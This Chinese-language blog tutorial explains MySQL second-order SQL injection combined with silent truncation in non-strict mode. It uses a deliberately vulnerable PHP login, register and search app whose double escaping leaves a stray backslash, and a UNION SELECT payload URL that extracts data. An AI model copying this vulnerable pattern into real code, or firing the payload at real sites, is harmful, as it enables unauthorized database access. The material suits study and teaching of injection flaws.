mysql 二次注入_SQL二次注入和截断联合使用

这次主要是说明sql的二次注入和sql插入数据库时截断的问题而形成的一种特殊的注入手段,有时会有意想不到的效果。

sql二次注入

二次注入的原理也是非常的简单,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

在网上搜索的时候,发现这张图对于SQL二次注入的原理解释得很好,我就直接使用了。

4ca718b9e243e7e4a55c7e9ae02e8171.png

对SQL二次注入不了解的,可以去看文章, dedecms鸡肋级注入与细节分析过程

sql的截断联合使用

这个是mysql数据库的特性,当插入的数据超过数据库规定的长度时,数据库会将数据自动地截断进行插入,不会有任何的报错。

下面来进行一个简单的实验。

有如下的数据库:

CREATE TABLE `users` (

`user_id` int(5) NOT NULL AUTO_INCREMENT,

`username` varchar(30) DEFAULT NULL,

`password` varchar(32) DEFAULT NULL,

`email` varchar(30) DEFAULT NULL,

`ip` varchar(20) DEFAULT NULL,

PRIMARY KEY (`user_id`)

) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

可以看到其中的 username 的长度是30。如果我们使用如下的语句插入数据:

insert into users(username,password,email,ip) values('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab','1','2','127.0.0.1');

其中的username设置的值是30个字母a和一个字母b,最后的结果为:

8a9d856e46dffa3b124ab13342cfec8c.png

可以看到最后字母 b 被截断了。

以上就是一个简单的sql截断的例子。

但是需要说明的是,sql的截断是需要在严格模式下才可以发生截断的。

在my.cnf中存在一个配置项 sql-mode ,我的配置选项是:

sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

在上面的配置中,是一个非严格模式。非严格模式就可以发生我的文章中的截断的情况。

如果在 sql-mode 中加入 STRICT_TRANS_TABLES ,变为:

sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES"

在 STRICT_TRANS_TABLES 严格模式下,会进行数据的严格校验,错误数据不能插入,报error错误

就会变成严格模式。

可以参考这篇文章 mysql 严格模式 Strict Mode说明

我们可以通过 select @@sql_mode 来查看数据库当前的模式。

在严格模式下,我们再一次进行尝试

f2ef9a4faa703246827936b180f78e93.png

可以看到在严格模式下,无法插入数据。所以如果mysql要进行截断,是需要在非严格模式下才可以。

实例演示

sql的二次注入,如果在第一次插入数据的时候对数据进行了转义,那么在下次使用的过程中也不会出现问题。但是借助于sql截断的方法,有时能够有一种化腐朽为神奇的效果。利用截断的功能,将最后一个的特殊字符去掉,这样就可以绕过限制了。

if (!get_magic_quotes_gpc()){

foreach($_POST as $key => $value){

$_POST[$key] = addslashes($value);

}

foreach($_GET as $key => $value){

$_GET[$key] = addslashes($value);

}

}

if($_GET['action'] == 'login'){

if($_SESSION['login']){

header('Location: index.php');

die();

}

if($_POST['username'] && $_POST['password']){

$username = mysql_real_escape_string($_POST['username']);

$password = md5($_POST['password']);

$sql = "SELECT * FROM users WHERE username = '$username' and password = '$password'";

$query = mysql_query($sql);

if(mysql_num_rows($query) == 1){

$row = mysql_fetch_array($query);

$_SESSION['login'] = 1;

$_SESSION['username'] = $row['username'];

$_SESSION['email'] = $row['email'];

header('Location: index.php');

die();

}else{

ShowLoginForm();

die('
login error');

}

}

ShowLoginForm();

die();

} else if($_GET['action'] == 'register'){

if($_POST['username'] && $_POST['password'] && $_POST['email']){

$username = mysql_real_escape_string($_POST['username']);

$password = md5($_POST['password']);

$email = mysql_real_escape_string($_POST['email']);

$ip = getenv('REMOTE_ADDR');

$sql = "SELECT * FROM users WHERE username = '$username'";

$query = mysql_query($sql);

if(mysql_num_rows($query) > 0){

ShowRegisterForm();

die('
user exists!');

}

$sql = "INSERT INTO users(username, password, email, ip) VALUES ('$username', '$password', '$email', '$ip')";

$query = mysql_query($sql);

if(!$query){

die('db error');

}else{

$uid = mysql_insert_id();

$sql = "SELECT * FROM users WHERE user_id = $uid";

$query = mysql_query($sql);

$row = mysql_fetch_array($query);

$_SESSION['login'] = 1;

$_SESSION['username'] = $row['username'];

$_SESSION['email'] = $row['email'];

header('Location: index.php');

die('success');

}

}

ShowRegisterForm();

die();

}

if(!$_SESSION['login']){

header('Location: index.php?action=login');

die();

}

if($_GET['search']){

$username = $_SESSION['username'];

$title = mysql_real_escape_string($_GET['search']);

$sql = "select * from posts where username='$username' and title like '$title'";

var_dump($sql);

$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {

echo "title: ".$row['title'];

echo '
';

echo "content: ".$row['content'];

echo '
';

echo '
';

}

die();

}

首先分析一下逻辑,在注册逻辑中,

$username = mysql_real_escape_string($_POST['username']);

$sql = "INSERT INTO users(username, password, email, ip) VALUES ('$username', '$password', '$email', '$ip')";

$query = mysql_query($sql);

在将数据插入到数据库之前,使用了 mysql_real_escape_string 对数据进行了转义处理。

在注入成功之后,

$sql = "SELECT * FROM users WHERE user_id = $uid";

$query = mysql_query($sql);

$row = mysql_fetch_array($query);

$_SESSION['login'] = 1;

$_SESSION['username'] = $row['username'];

从数据库取出数据,放入到SESSION中,取出的数据是已经转义过的。

在查询逻辑中,

$username = $_SESSION['username'];

$title = mysql_real_escape_string($_GET['search']);

$sql = "select * from posts where username='$username' and title like '$title'";

其中的 $username = $_SESSION['username']; ,username是直接从session中取出来的。

可以看到上面的代码中进行了两次转义,首先使用了 addslashes 进行了转义,后来又使用了 mysql_real_escape_string 进行了转义,这种情况下就会多出一个 \ 。

还是用一段简单的代码来说明问题

7a8bd3b1147426b29a7839b21b892ead.png

可以看到 ' 经过两次转义之后变为 \\\' ,结果长度变为了4吗?我们在mysql中看看

mysql> select length('\\\'');

+----------------+

| length('\\\'') |

+----------------+

|              2 |

+----------------+

1 row in set

可以看到mysql认为 \\\' 的长度是2。这就说明了 ' 在经过两次转义的情况下会变为字符 '\ (反斜线+单引号),长度加1了,所以最后才会发生截断。最后的结果如下:

4f2e58d280c83c3b2840601e60790add.png

这样我们就多一个 \ 可以使用了。

下面就是构造一个简单的payload了,由于search是我们可控的,所以我们最终的查询可以写为:

localhost/sql4/index.php?search=union select 1,2,3,@@version%23

最后的输出结果为:

59deb6e738fe3c313fc5b8519d03b037.png

通过sql截断的方式得到了一个 \ ,注释掉后面的 ' ,然后就可以利用union语句注出数据了。

最后,感谢p牛的指点,指出了我之前存在的问题。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值